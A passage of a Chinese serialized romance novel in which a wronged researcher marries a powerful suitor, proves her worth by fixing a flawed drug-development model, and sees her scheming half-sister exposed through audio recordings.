照片上,顾彦廷和江晚絮并肩坐在沙滩上,姿态亲密。
男才女貌,宛如神仙眷侣。
【京圈太子爷恋情曝光!神秘女友竟是她!】
新闻标题,极尽暧昧。
评论区,更是炸开了锅。
可很快,风向就变了。
不知从哪里冒出来一堆水军,开始疯狂地带节奏。
【什么神秘女友?不就是那个学术造假的江晚絮吗?】
【我听说她是被前夫家赶出来的,转头就攀上了顾少?手段可以啊!】
【这种为了上位不择手段的女人,也就是个玩物吧?还真当自己能嫁入豪门了?】
【就是!上次学术造假的事,说不定就是顾少帮她压下去的!真是恶心!】
一条条不堪入目的评论,像一把把尖刀,刺向江晚絮。
幕后黑手是谁,不言而喻。
江芊妤看着网上对江晚絮的谩骂,得意地勾起了嘴角。
江晚絮,跟我斗?你还嫩了点!
她就是要让所有人都知道,江晚絮不过是顾彦廷的一个情人!一个随时可以被抛弃的玩物!
然而,她还没得意多久。
顾彦廷的个人官方微博,就更新了一条动态。
那是一张照片。
照片里,江晚絮睡着了,长长的睫毛,像两把小扇子。
顾彦廷的手,轻轻地抚着她的脸颊,眼神温柔得能滴出水来。
配文,更是简单粗暴。
【介绍一下,我的未婚妻,江晚絮。@江晚絮】
没有多余的解释。
就这么一句话,一个@。
却比任何公关文,都来得更有力。
整个微博,瘫痪了。
江芊妤看着那条微博,气得差点把手机给捏碎!
顾彦廷竟然,公开承认了?!
怎么可能?!
江晚絮那个贱人,她凭什么?!
另一边,叶寒也看到了这条新闻。
他看着照片上,顾彦廷那从未对任何人展露过的温柔眼神。
一股无名的怒火,瞬间席卷了他的全身。
他想都没想,就拨通了江晚絮的电话。
电话刚一接通,他劈头盖脸就是一顿质问。
“江晚絮!你长本事了啊!”
“你是不是早就跟顾彦廷勾搭上了?!在我面前装得那么深情,背地里却给我戴了这么大一顶绿帽子!”
“你这个不知检点的女人!真让我恶心!”
第41章 没必要结婚
江晚絮声音平静,对着电话那头的男人,终于开口。
“叶寒。你摸着良心问问你自己。”
“这五年,我对你,对叶家,还不够好吗?”
“我为了给你捐骨髓,差点死在手术台上的时候,你在哪里?”
“我为了给你妈输血,导致自己贫血晕倒的时候,你在哪里?”
“叶氏资金链断裂,我拿出我母亲留给我唯一的遗产,去填补窟窿的时候,你又在哪里?”
“你除了冷眼旁观,除了在我最需要你的时候,去陪着江芊妤,你还做过什么?”
她一声声的质问,像一记记重锤,狠狠地砸在叶寒的心上。
他张了张嘴,想反驳,却发现自己一个字都说不出来。
他想嘴硬。
“那……那又怎么样!你嫁给我,为我付出,难道不是应该的吗?!”
“呵。”江晚絮冷笑了一声。
“是啊,我为你付出是应该的。那你和江芊妤背着我暗度陈仓,也是应该的吗?”
“叶寒,我们已经离婚了。我的事,轮不到你来指手画脚。”
“你……”
叶寒还想说什么,电话却突然被另一只手夺了过去。
“叶总。”
顾彦廷的声音,透过听筒传来,冰冷得没有一丝温度。
“我给你三秒钟的时间,从我的世界里,消失。”
“否则,我不介意,让叶氏集团,从京市消失。”
说完,他直接挂断了电话。
叶寒听着手机里传来的“嘟嘟”声,整个人都僵在了原地。
顾彦廷的威胁,像一盆冰水,将他从头浇到脚。
他知道顾彦廷不是在开玩笑,他有这个能力。
房间里,江晚絮看着挂断电话的顾彦廷,心里五味杂陈。
她沉默了半晌,终于还是忍不住开口。
“顾彦廷……你为什么要这么做?”
为什么要这样,一次又一次的,为她出头?
为什么要这样,不计后果地保护她?
他们之间,不过是一场交易,不是吗?
顾彦廷转过身,一步步地走到她面前。
他伸出手,轻轻地捧起她的脸,让她看着自己的眼睛。
月光透过落地窗洒了进来,落在他深邃的眼眸里,像是揉碎了一整条星河。
他看着她,声音低沉而缱绻,带着一丝……卑微。
“因为,你值得。”
“江晚絮,你值得这世界上,最好的一切。”
十年前,是她将他从泥潭里拉了出来。
十年后,换他来做她的救赎。
江晚絮的心,被他这句话,狠狠地撞了一下。
有什么东西,好像在那一瞬间,破土而出。
她看着他,眼前的男人英俊、强大、神秘,像是一团深邃的迷雾,可那双眼睛里,却只清晰地倒映着她一个人的身影。
那种专注,让她心慌,也让她……贪恋。
“我……”
她想说些什么,却发现喉咙干涩得厉害。
说什么呢?
说谢谢?太轻。
说我们不合适?太假。
她原本那些忐忑、不安、不知所措,在这一刻,仿佛都被他这句话给击得粉碎。
顾彦廷看着她眼底的松动,唇角微不可察地勾了一下。
他没有再逼近,而是后退一步,给了她喘息的空间。
“这几天,什么都别想。”
他的声音恢复了惯常的沉稳。
“别想什么瑞澜,也别想什么叶家江家。”
“你的人生,不该被那些垃圾占据。”
他顿了顿,话锋一转。
“我让苏洛敏过来陪你。”
江晚絮一愣,“洛敏她……要上班。”
“我替她请了二十天带薪假,薪水翻倍。”顾彦廷说得云淡风轻,仿佛只是安排了一顿下午茶。
“……”
资本家的世界,就是这么朴实无华。
江晚絮忽然就笑了,是那种卸下了所有防备和重担后,发自内心的轻松。
“好。”
什么研究,什么课题,什么复仇。
管他呢。
先给自己放个假,天塌下来,也等二十天后再说。
这是她这五年来,第一次,为自己而活。
苏洛敏是坐着顾彦廷的私人飞机,空降到海岛上的。
她穿着花里胡哨的沙滩裙,戴着巨大的墨镜,冲过来就给了江晚絮一个熊抱。
“我的天!晚絮,你知道吗!顾少给我批了二十天带薪假!薪水翻倍!翻倍啊!”
“他说这是‘未婚妻闺蜜特别福利’!我靠,这是什么神仙老板啊,爱了爱了!”
看着苏洛敏那一脸“我为老板举大旗”的狗腿模样,江晚絮哭笑不得。
但心底里,却被一股暖流包裹着。
顾彦廷的心思,细致到了这种地步。
他知道她孤单,知道她需要朋友,所以他便将她唯一的朋友,送到了她身边。
接下来的二十天,江晚絮彻底放空了自己。
她和苏洛敏在沙滩上追逐嬉闹,像两个没长大的孩子。
她们坐着游艇出海,看海豚在蔚蓝的海面上跳跃。
她们在别墅里研究黑暗料理,然后笑得前俯后仰。
顾彦廷没有再出现,他似乎很忙,只偶尔在深夜,发来几条简短的消息。
【吃饭了吗?】
【京市今天降温了,你那里天气如何?】
【早点睡。】
没有甜言蜜语,却像一根看不见的线,始终牵动着江晚絮的心。
她发现,自己竟开始期待手机的每一次震动。
二十天,一晃而过。
江晚絮感觉自己像是做了一场不愿醒来的美梦。
当她和苏洛敏重新踏上京市的土地,回到苏洛敏那间小小的公寓时,梦,也该醒了。
当初和顾彦廷的一个月之期,到了。
期限的最后一天上午九点整。
一辆黑色的宾利,准时停在了苏洛敏家的楼下。
车门打开,顾彦廷从车上下来。
他今天穿得很简单,一件白衬衫,一条黑色的西裤,却依旧掩盖不住那通身的矜贵与压迫感。
他抬头,目光精准地落在了三楼的窗户上。
江晚絮的心,漏跳了一拍。
苏洛敏在她身后,激动地推了她一把。
“快去啊!我的神仙老板来接你了!”
江晚絮深吸一口气,换好鞋,下了楼。
顾彦廷为她拉开了副驾驶的车门,动作自然而绅士。
车子平稳地驶上公路。
车厢里很安静,只有空调的冷风,发出轻微的声响。
江晚絮看着窗外飞速倒退的街景,手心沁出了一层薄汗。
她知道,这辆车的终点是哪里。
民政局。
沉默在蔓延。
终于,在一个红灯路口,江晚絮鼓足了勇气,侧头看向身边的男人。
“顾少。”
她的声音有些低,带着一丝不易察觉的颤抖。
“我们之间……只是交易。你已经帮了我很多了,没必要……真的结婚。”
第一卷 第42章 防贼一样防着她
她终究还是害怕。
江晚絮怕自己刚从一个火坑里爬出来,又掉进另一个无法掌控的深渊。
顾彦廷没有看她,只是目视着前方。
可他周身的气压,却在瞬间降到了冰点。
“交易?”
他重复着这两个字,尾音带着一丝嘲弄。
车子猛地一个右转停在了路边。
顾彦廷解开安全带,欺身而上。
强大的男性气息瞬间将江晚絮笼罩。
她被他禁锢在座椅和他的胸膛之间,退无可退。
“江晚絮。”
他捏住她的下巴,强迫她看着自己的眼睛。
“你看着我的眼睛,再说一遍。”
他的眸光,像淬了冰的利刃,又像是燃烧着一簇压抑了十年的火焰。
“我顾彦廷,从不说假话,也从不做亏本的买卖。”
他一字一句,像是烙印,狠狠地砸在江晚絮的心上。
“我要你,不是交易,是真心。”
江晚絮整个人都懵了。
心神巨震之下,她下意识地伸手去推他,手却慌乱地碰到了中央扶手箱的开关。
扶手箱的盖子弹开。
一枚胸针赫然出现在江晚絮的眼前。
那是一枚银杏叶形状的银质胸针,款式有些旧了,上面还沾着一点干涸的暗色污渍。
江晚絮的瞳孔,骤然紧缩。
这枚胸针……是妈妈的遗物。
据说是妈妈自己设计的,独一无二。
那个漆黑绝望的雨夜……
那天,她被江明泽赶出江家,所有的手稿被丢进垃圾桶的那个雨夜……
她忽然就明白了。
明白了明明一无所有的自己,为何总会在跌落至谷底的时候,被人捞上来。
江晚絮抬头,对上顾彦廷那双深不见底的眼眸。
她颤抖着,举起那枚胸针。
“是你?”
她的声音,抖得不成样子。
“那天救我的人……是你?”
“后来,我的那个研究论文……也是你?”
顾彦廷没有说话。
他只是深深地看着她,眼底翻涌着她看不懂的,浓烈的化不开的情绪。
沉默,就是最好的回答。
这个男人,在她不知道的角落里,已经默默地为她撑起了一片天。
眼泪毫无预兆地滚落下来。
不是因为委屈,而是因为……被珍视。
她不再挣扎,也不再推拒。
顾彦廷抬手,用指腹轻轻拭去她脸上的泪水,动作温柔得不像话。
“现在,还觉得是交易吗?”
江晚絮咬着唇,摇了摇头。
她吸了吸鼻子,将那枚失而复得的胸针,紧紧地攥在了手心里。
车子重新启动。
这一次,江晚絮的心,前所未有的平静。
民政局里。
拍照,签字,盖章。
当两本崭新的红本本,递到他们手上时,江晚絮还有些恍惚。
她……就这么结婚了?
成了顾太太?
走出民政局,阳光有些刺眼。
顾彦廷牵起她的手,十指紧扣。
“从今天起,”他侧头看着她,目光灼灼,“你的以后,我负责。”
成为顾太太的第三天,江晚絮收到了一个面试邀请。
来自“方舟研究院”。
这是国内最顶尖的中外合资研究机构,背景神秘,资金雄厚,汇聚了全球最顶尖的科研人才。
能进入方舟,是每一个科研人员的梦想。
“我一个朋友在那边当董事,我把你的简历递过去了。”顾彦廷说得轻描淡写,“去试试,就当是积累经验。”
江晚絮知道,这绝不是“一个朋友”那么简单。
但她没有拒绝。
她需要一份工作,需要重新找回自己的价值。
面试出乎意料地顺利。
江晚絮凭借自己过硬的专业知识和丰富的项目经验,征服了所有面试官。
一周后,她正式入职方舟研究院。
方舟的研究环境,比瑞澜好了不止十倍。
最先进的设备,最自由的学术氛围。
江晚絮被分到了一个代号为“星尘”的新药研发项目组。
然而,当她走进项目组办公室的那一刻,那种理想化的美好,瞬间被打破了。
办公室里所有人的目光,齐刷刷地射了过来。
好奇,探究,以及……毫不掩饰的敌意。
项目组的负责人,陈景渊,一个四十多岁,戴着金丝边眼镜,看起来文质彬彬的男人,推了推眼镜,皮笑肉不笑地开口。
“你就是江晚絮?”
“陈教授,您好。”江晚絮礼貌地点了点头。
“呵呵,不必这么客气。”陈景渊上下打量着她,眼神里的轻蔑,几乎要溢出来。
“你就是院里特招进来的‘天才’啊。”
他特意在“天才”两个字上,加重了语气。
“真不知道上面是怎么想的,一个连毕业论文都被爆抄袭的人,也能进我们方舟。”
他的声音不大不小,却足以让整个办公室的人都听得清清楚楚。
江晚絮的脸色,瞬间白了。
她没想到,那些被压下去的脏水,这么快就追到了这里。
“陈教授,”她强忍着心头的屈辱,不卑不亢地说道,“那件事,是诬陷。”
“是不是诬陷,我们可不知道。”
陈景渊嗤笑一声。
“我们只知道,你是靠关系空降进来的。”
“行了,你的办公桌在那边角落里。”他随手一指,“我们这里不养闲人,你先负责把这几年的实验数据,重新整理归档吧。”
说完,他便转身,不再理会江晚絮。
办公室里的其他人,也纷纷收回了目光,该干嘛干嘛,仿佛她就是一团空气。
江晚絮站在原地,手脚冰凉。
她看着那个被安排在角落,堆满了杂物的办公桌。
看着周围同事们冷漠而疏离的背影。
原来,换了个地方,还是一样。
没有人在意你的能力,他们只相信他们愿意相信的流言蜚-语。
她被彻底地排挤了。
没有欢迎,没有介绍,甚至连最核心的实验,她连边都摸不着。
陈景渊就像防贼一样防着她。
江晚絮没有抱怨,也没有去找顾彦廷。
这是她的战场,她要靠自己堂堂正正地赢回来。
她默默地将那个角落的办公桌收拾干净,然后便一头扎进了那浩如烟海的实验数据里。
一周后。
项目组的第一次全体周会。
会议室里,气氛严肃。
陈景渊坐在主位上,听着各个小组的汇报,眉头越皱越紧。
“星尘”项目,进行到了关键的临床前数据分析阶段,却迟迟没有突破性的进展。
“江晚絮。”
陈景渊突然点了她的名。
江晚絮站起身。
“你来了一周,数据整理得怎么样了?给大家汇报一下吧。”
他语气里的不怀好意,所有人都听得出来。
这是要当众给她难堪。
第一卷 第43章 调离核心团队
江晚絮却很平静。
她打开自己准备好的PPT,条理清晰地将自己一周的工作成果,进行了汇报。
她不仅将所有数据重新归档,还用自己独创的算法,对数据进行了初步的筛选和建模。
她的话还没说完,陈景渊就猛地一拍桌子。
“一派胡言!”
他站起身,指着江晚絮,厉声喝道。
“你一个刚来的新人,有什么资格质疑我们整个团队的研究方向?”
“你的数据模型,我看根本就是你自己胡编乱造的吧!”
他像是抓住了什么把柄,眼神变得格外锐利。
“江晚絮,你的数据……真的可靠吗?”
他慢悠悠地抛出这句话,然后对着技术人员使了个眼色。
下一秒,投影幕布上,PPT的画面被切换了。
取而代之的,是一张放大的新闻网页截图。
标题,赫然是——【瑞澜研究院天才新星江晚絮,涉嫌学术造假,已被辞退!】
整个会议室,瞬间炸开了锅。
所有人的视线,齐刷刷地转向了江晚絮。
原来如此。
怪不得一个新人敢这么嚣张,原来是个有前科的“惯犯”!
陈景渊看着江晚絮嘴角勾起一抹得意的笑。
他要的,就是这个效果。
他要让所有人都看看,这个靠关系进来的女人,到底是个什么货色。
“一个连学术诚信都有问题的研究员,”他的声音,在安静的会议室里,显得格外清晰而刻薄,“你做出来的数据,你让我们怎么相信?”
“江晚絮,你是不是觉得,我们方舟的人,都跟你以前那些同事一样好糊弄?”
江晚絮环视四周。
那种被全世界孤立的窒息感,再次将她淹没。
但这一次,她没有退缩。
她抬起头,迎上陈景渊那得意的目光,冰冷的视线,仿佛能穿透他的镜片。
“我会用实验成果,证明一切。”
说完,她不再看任何人,转身走出了会议室。
背后是陈景渊更加不屑的冷笑,和同事们窃窃私语的嘲讽。
“证明?她拿什么证明?”
“就是,一个学术骗子,还真当自己是个人物了。”
“等着瞧吧,不出三天,她就得灰溜溜地滚蛋。”
那天晚上,江晚絮没有回家。
她把自己关在了数据分析室里。
她将“星尘”项目的所有原始数据,全部调了出来。
一遍,两遍,三遍……
她不吃不喝,不眠不休,疯狂地进行着验算和复盘。
咖啡一杯接着一杯,眼睛熬得通红。
终于,在第二天的凌晨四点。
她找到了那个被所有人都忽略了的,致命的漏洞。
陈景渊他们负责的那个核心模块,在进行蛋白质晶体结构解析时,引用了一个错误的参照系。
这个错误极其微小,在前期的数据里,几乎看不出任何影响。
可一旦进入到药物合成阶段,这个微小的错误,就会被无限放大。
最终导致整个项目,彻底崩盘。
所有的投入,所有人的心血,都将付诸东流。
江晚絮没有丝毫犹豫,立刻动手,修正数据,重新建立模型,推演新的分子结构。
窗外的天,一点点亮了起来。
当第一缕晨光,透过百叶窗洒在她脸上时,一份全新的、完美的实验方案,也终于在她的电脑上,生成了。
上午九点。
研究院的院长,亲自带着几位项目投资方,来到了“星尘”项目组视察。
陈景渊意气风发地站在最前面,正唾沫横飞地介绍着他们所谓的“阶段性成果”。
“……各位领导,各位投资人请放心,按照我们目前的进度,不出一个月,我们一定能拿出让各位满意的成果!”
他话音刚落。
数据分析室的门被推开了。
江晚絮走了出来。
她脸色苍白,眼下带着浓重的黑眼圈,头发也有些凌乱,看起来狼狈不堪。
可她的那双眼睛,却亮得惊人。
“陈教授。”
她开口,声音因为熬夜而有些沙哑。
“你的成果恐怕,永远也拿不出来了。”
“你胡说什么!”陈景渊脸色一变,当着这么多领导的面被拆台,让他恼羞成怒。
“江晚絮!你是不是疯了!我看你就是想捣乱!”
“我有没有捣乱,数据说了算。”
江晚絮没有理会他的咆哮,径直走到主控台前,将自己的U盘,插了进去。
她将自己连夜做出的两份数据模型,并列展示在了大屏幕上。
左边,是陈景渊团队漏洞百出的原始模型。
右边,是她修正后的全新模型。
孰优孰劣,一目了然。
“这是……”
院长身后的几位白发苍苍的老专家,看到右边那个模型时,眼睛都直了。
“完美的双螺旋结构……这个靶点选择……天呐!简直是鬼斧神工!”
“如果按照这个方案进行,我们项目的成功率,至少能提高百分之五十!”
整个会议室,瞬间鸦雀无声。
所有人都被屏幕上那堪称艺术品的数据模型,给震惊得说不出话来。
陈景渊死死地盯着屏幕,额头上冷汗涔涔。
他不敢相信,自己引以为傲的团队,竟然会犯下如此低级而致命的错误。
而这个错误,却被他最看不起的,那个靠关系进来的女人,给揪了出来。
院长脸色铁青,他转过头,看着面如死灰的陈景渊。
“陈景渊,你有什么话说?”
“我……我……”陈景渊张了张嘴,一个字都说不出来。
事实摆在眼前,任何辩解,都显得苍白无力。
“啪!”
院长将手里的文件夹,狠狠地摔在了桌子上。
“即刻起,免去陈景渊‘星尘’项目组负责人的一切职务,调离核心团队,另行处理!”
他严厉的声音,回荡在会议室里。
然后,他转向江晚絮,目光里充满了欣赏和歉意。
“江晚絮博士。”
他郑重地开口。
“我代表研究院,为之前对你的误解和不公,向你道歉。”
“同时,我宣布,正式任命你为‘星尘’项目组的副组长,全权负责接下来的核心研发工作!”
此言一出,全场哗然。
项目组的那些同事们,一个个都傻眼了。
他们嘲讽她,排挤她,视她为学术骗子。
可到头来,却是这个他们最看不起的人,凭一己之力,挽救了整个项目,也挽救了他们所有人的前途。
这一巴掌,打得又响又亮。
江晚絮没有去看那些人复杂的眼神,也没有理会陈景渊那怨毒的目光。
她只是对着院长,微微鞠了一躬。
“谢谢院长,我一定不负所托。”
第一卷 第44章 好好教训教训你!
会议室的门在身后关上,隔绝了里面所有的窃窃私语和复杂目光。
江晚絮深吸了一口气,胸腔里那股翻涌的情绪,终于被她强行压了下去。
她赢了。
可她心里,却没有半分喜悦,只有一种深入骨髓的疲惫。
她回到自己那个小小的办公室,将自己重重地摔进椅子里,盯着电脑屏幕上那个完美的分子模型,久久无言。
从瑞澜到方舟,她好像一直在重复着同样的事情。
被质疑,被污蔑,然后用实力狠狠地打回去。
什么时候,她才能只安安静静的,做自己喜欢的研究?
手机震动了一下。
是顾彦廷发来的消息。
【结束了?】
简单的三个字,却像是一只有力的手,瞬间抚平了她心里的所有褶皱。
江晚絮的指尖在屏幕上顿了顿,回了一个字。
【嗯。】
那边几乎是秒回。
【晚上想吃什么?给你庆功。】
庆功……
江晚絮看着这简单的两个字,眼眶忽然有些发热。
这么多年,她取得过无数成绩,却从来没有人,跟她说过“庆功”这两个字。
在江家人眼里,她的成功是理所当然,甚至是一种威胁。
在叶寒眼里,她的事业,不过是他无聊时的一种点缀,随时可以被牺牲。
只有顾彦廷。
这个男人,会把她的每一分努力,都郑重地放在心上。
江晚絮吸了吸鼻子,打字回复。
【想吃……长寿面。】
她忽然想起了外婆。
小时候,每当她考试得了第一名,外婆就会亲手为她煮一碗长寿面,卧上两个荷包蛋,笑着说:“我们家絮絮最棒了,这是奖励。”
消息发出去,那边沉默了很久。
江晚絮叹了口气。
她刚想撤回消息,说随便吃点什么都行。
顾彦廷的消息,跳了出来。
【好。】
只有一个字。
那一刻,江晚絮觉得,自己那颗在冰水里泡了太久的心,好像……开始回温了。
江晚絮被任命为“星尘”项目副组长的消息,瞬间传遍了整个研究院。
之前那些排挤她、嘲讽她的同事们,态度来了个一百八十度大转弯。
“江组长,这是我从家里带来的现磨咖啡,您尝尝。”
“江组长,这个数据我有点不明白,您有时间帮我看看吗?”
“江组长……”
江晚絮对这些突如其来的热情,既不亲近,也不疏远。
她知道,这些人尊敬的,不是她江晚絮,而是她所展现出的,无可替代的价值。
人心,就是这么现实。
而另一边,京市的上流圈子,也因为一则突如其来的消息,炸开了锅。
【惊爆!瑞澜集团总裁叶寒与发妻江晚絮离婚,火速迎娶前小姨子江芊妤!】
这则消息,是顾彦廷授意苏洛敏放出去的。
没有添油加醋,只是陈述事实。
可事实,往往比任何杜撰的故事,都更加伤人。
一石激起千层浪。
紧接着,更多关于江晚絮的“事迹”,被“知情人士”一一扒了出来。
【听说没?叶总那个前妻,当初为了救他,可是捐了骨髓的!】
【不止!我还听说,她为了保护叶寒,腿都断过一次。】
【我靠!这么掏心掏肺,结果呢?转身就娶了妹妹?这叶寒也太不是东西了吧!】
【妹妹也不是什么好鸟啊,居然抢自己姐夫。】
叶寒的名字,一夜之间和“负心汉”、“当代陈世美”这些词,死死地捆绑在了一起。
叶氏集团的股价,应声暴跌。
好几个准备和叶家合作的大项目,也纷纷以“负责人私德有亏,影响企业形象”为由,紧急叫停。
江家,同样没能幸免。
“一家子白眼狼”、“卖女求荣”、“家风不正”的标签,被死死地钉在了江家的门楣上。
江父气得当场砸了自己最心爱的古董花瓶。
柳芸指着江芊妤的鼻子,骂她没用的东西,连个男人都看不住。
江明泽和江明哲沉默不语,但眼神里的鄙夷,却比任何语言都伤人。
最惨的,莫过于江芊妤。
她原本引以为傲的,那场号称要办的比皇室婚礼还要盛大的世纪婚礼,在叶家老爷子的一声怒喝下,被迫无限期取消。
她从万众瞩目、人人艳羡的叶太太预备役,一夜之间,沦为了整个京圈的笑柄。
江芊妤不甘心。
她把这一切,都算在了江晚絮的头上。
“都是她!都是那个贱人害的!”
江芊妤双眼通红,面目狰狞地在自己的房间里,将所有能砸的东西,都砸了个粉碎。
“她自己得不到幸福,就要毁了我!我不会让她得逞的!绝对不会!”
她抓起手机,拨通了江明宇的电话。
“二哥!你不是说最疼我吗?现在江晚絮那个贱人要把我们全家都毁了,你管不管!”
电话那头的江明宇,本就因为家里生意受损而一肚子火,被江芊妤这么一激,更是怒不可遏。
“那个白眼狼!她在哪儿?老子现在就去扒了她的皮!”
方舟研究院门口。
江晚絮刚结束了一场长达三小时的研讨会,正准备开车回家。
刚走到大门口,一辆熟悉的路虎,就以一种蛮横的姿态,猛地刹停在了她的面前,拦住了她的去路。
车门打开。
江明宇那张写满了暴戾的脸,出现在她眼前。
副驾驶上,跟着下来一个戴着墨镜和口罩,把自己捂得严严实实的女人。
即便如此,江晚絮还是一眼就认了出来。
是江芊妤。
“江晚絮!”
江明宇几步冲了过来,指着江晚絮的鼻子,破口大骂。
“你这个忘恩负义的白眼狼!我们江家养你这么大,你就是这么回报我们的?”
“你凭什么搅黄黄芊妤的婚事?你到底安的什么心!”
他的嗓门极大,瞬间就吸引了周围所有下班的研究员的注意。
江晚絮的眉头,冷冷地蹙了起来。
“江明宇,这里是研究院,不是你撒野的地方。”
“我撒野?”江明宇像是听到了什么天大的笑话,“老子今天不光要撒野,还要替爸好好教训教训你这个不孝女!”
他说着,扬手就要一巴掌扇过来。
第一卷 第45章 与她无关
江晚絮后退一步,眼神冰冷地看着他。
“你敢动我一下试试。”
江明宇的手僵在了半空中。
他忽然发现,眼前的江晚絮,变了。
不再是那个任由他打骂,只会默默忍受的窝囊废。
她的眼神,平静,淡漠,甚至带着一丝……轻蔑。
那种眼神,让他觉得无比刺眼。
就在这时,一直躲在后面的江芊妤,忽然摘下了口罩和墨镜,哭着扑了上来。
她一把抓住江晚絮的手臂,眼泪说掉就掉。
“姐姐,我知道你怪我,怪我们所有的人。”
“可是,我已经知道错了,我求求你,你放过我们,也放过叶寒哥哥,好不好?”
她的演技,一如既往的精湛。
声音不大,却带着哭腔,足以让周围的人都听得清清楚楚。
“你抢走我的男人还不够,现在连我唯一的婚礼,你也要亲手毁掉吗?”
“姐姐,你就真的……这么见不得我好吗?”
这番话,信息量巨大。
周围的围观群众,瞬间炸开了锅。
“我靠,什么情况?抢妹妹男人?还毁人婚礼?”
“看着文文静静的,没想到是这种人啊。”
“啧啧,真是人不可貌相,这不就是现实版的恶毒姐姐吗?”
指指点点的声音,从四面八方汇聚过来,钻进了江晚絮的耳朵。
江晚絮面无表情地看着江芊妤的表演。
她甚至都懒得去辩解。
因为她知道,对牛弹琴,毫无意义。
她用力甩开江芊妤的手,声音冷得像冰。
“滚。”
江芊妤被她甩得一个踉跄,柔弱地倒在了地上,哭得更加梨花带雨。
江明宇一看妹妹受了委屈,顿时怒火攻心,理智全无。
“贱人!你还敢推芊妤!我看你就是欠揍!”
他怒吼着,再次挥起了拳头。
就在这时。
“我看谁敢动她。”
一道冰冷而充满压迫感的声音,从不远处传来。
人群自动分开一条路。
一辆黑色的宾利慕尚正停在路边。
顾彦廷从车上下来,他穿着一身剪裁得体的黑色西装,身姿挺拔,面容冷峻,周身散发着生人勿近的强大气场。
他一步步走来,目光越过所有人,精准地落在了江晚絮的身上。
当看到她微白的脸色时,他的眸色,瞬间沉了下去。
江明宇的拳头,就那么硬生生地停在了距离江晚絮脸颊不到十公分的地方。
他看着眼前的男人,喉咙发干。
“你……你是谁?我教训我妹妹,关你屁事!”
顾彦廷连一个眼神都懒得给他。
他径直走到江晚絮身边,脱下自己的西装外套,披在了她的肩上,将她整个人都护在了自己的臂弯里。
然后,他才侧过头,扫了一眼江明宇和地上还在演戏的江芊妤。
他薄唇轻启,吐出一句话,“晚絮是我的未婚妻,你说关不关我的事?”
所有人都懵了。
这个气场强大到可怕的男人,是江晚絮的未婚夫?
江明宇也傻眼了。
顾彦廷没有理会众人的震惊,他冷冽的目光,最终定格在了江芊妤的身上。
“江小姐的演技,真是十年如一日的……拙劣。”
江芊妤的哭声,戛然而止。
她看着顾彦廷那双仿佛能洞悉一切的眼睛,心里莫名地升起一股寒意。
“我……我不知道你在说什么……”
“不知道?”
顾彦廷冷笑一声,从口袋里拿出了自己的手机,轻轻点了一下。
下一秒,一道熟悉的,带着哭腔的女声,从手机里清晰地传了出来。
“……李总,您放心,果汁里我已经下了药,待会儿您直接把她带走就行了……”
“……二哥,你听我的,就说是江晚絮那个贱人自己不小心摔下楼梯的,跟我们没关系……”
“……陈教授,这是我的一点心意,只要您能把江晚絮赶出方舟,后续的好处,少不了您的……”
一段又一段的录音,清晰无比地在寂静的空气中回荡。
每一句,都是江芊妤亲口所说。
围观群众的表情,从震惊,到错愕,再到恍然大悟,最后,变成了对江芊妤赤裸裸的鄙夷。
“我天!原来是这个妹妹一直在害姐姐啊!”
“下药?推下楼梯?还买通别人?这也太恶毒了吧!”
“这哪是白莲花啊,这分明就是一朵食人花!”
江芊妤的脸,瞬间血色尽失。
她瘫坐在地上,不敢置信地看着顾彦廷,浑身抖如筛糠。
“不……不是的……这不是我说的!是伪造的!是你们伪造的!”
她声嘶力竭地辩解着,可那苍白无力的样子,在铁证面前,显得无比可笑。
顾彦廷收起手机,居高临下地看着她,眼神里没有一丝温度。
“江家。”
他缓缓开口,声音冰冷刺骨。
“如果再有下一次骚扰,我不介意,让江氏提前破产。”
这句话,像是一道催命符,狠狠地砸在了江明宇和江芊妤的心上。
江明宇吓得腿一软,差点跪在地上。
这个男人到底是谁?凭什么敢说出这样的话!
可看着对方那泰山崩于前而色不变的模样,他一个字都不敢反驳。
他有种强烈的预感。
这个男人,说得出,就做得到。
江芊妤更是彻底崩溃了。
她所有的伪装,所有的算计,在这一刻,被这个男人,撕得粉碎,暴露在阳光之下。
江晚絮静静地看着眼前这一幕。
看着曾经在她面前嚣张跋扈的哥哥,如今吓得屁滚尿流。
看着那个总是装出一副楚楚可怜模样的妹妹,此刻面如死灰,狼狈不堪。
她的心中,没有报复的快感,也没有丝毫的同情。
只剩下无尽的冰冷和漠然。
这些所谓的家人,早已在她被他们亲手推下楼梯的那一刻,就彻底从她的生命里,剔除了。
她转身,拉了拉肩上的西装外套。
那上面,还残留着属于顾彦廷的,温暖而清洌的气息。
“我们走吧。”她轻声说。
“好。”
顾彦廷牵起她的手,再也没有看那两个跳梁小丑一眼,带着她,头也不回地离去。
身后,是江芊妤绝望的尖叫,和围观人群鄙夷的唾骂声。
这一切,都与她无关了。
第一卷 第46章 陪你玩个大的
那场闹剧之后,江晚絮的生活,终于恢复了平静。
在顾彦廷的雷霆手段下,江家彻底安分了,再也不敢来骚扰她。
江晚絮也得以将全部精力,都投入到了“星尘”项目中。
她展现出的才华和领导能力,让项目组的所有人都心服口服。
之前那些质疑和敌意,早已烟消云散。
取而代之的,是发自内心的敬佩和信服。
项目,在她的带领下,进展得异常顺利。
江晚絮几乎每天都泡在实验室里,忙碌却充实。
她感觉自己,好像又找回了最初对科研的那份热爱。
这天晚上,一个关键的实验,进行到了最后阶段。
只要这个实验成功,就意味着他们的药物,在理论上已经完全可行。
整个项目组的人,都围在仪器前,紧张地等待着最终的结果。
江晚絮亲自操作着。
当最后一滴试剂滴入反应皿,所有人都屏住了呼吸。
然而,屏幕上跳出来的,却不是他们预想中的完美数据。
而是一串……猩红的,代表着“Error”(错误)的警报。
失败了?
怎么可能!
所有人都愣住了。
江晚絮的脸色,也在一瞬间变得凝重。
“不可能。”
她喃喃自语。
所有的步骤,所有的配比,她都反复核对过,绝不可能出错。
“再试一次!”
她立刻下令。
第二次,第三次,第四次……
一连五个小时,他们尝试了所有可能的方法,更换了所有能更换的试剂。
可每一次的结果,都是一样的。
失败。
实验室里的气氛,从一开始的紧张期待,渐渐变成了死一般的沉寂。
最后,所有人都累瘫在了椅子上,脸上写满了疲惫和失望。
“怎么会这样……”
一个年轻的研究员,忍不住红了眼圈。
“我们明明已经离成功只有一步之遥了……”
是啊,只差一步。
可这一步,却像是天堑,怎么也跨不过去。
之前一直对江晚絮赞赏有加的几个老研究员,此刻也沉默了。
他们看着江晚絮,眼神里,不自觉地带上了一丝怀疑和失望。
难道……是她之前的那个方案,本身就存在着他们没有发现的,致命的缺陷?
人就是这样。
当你成功时,所有人都会为你鼓掌。
可当你一旦失败,那些曾经的赞美,就会变成最尖锐的质疑。
江晚絮感受到了那些变化的目光。
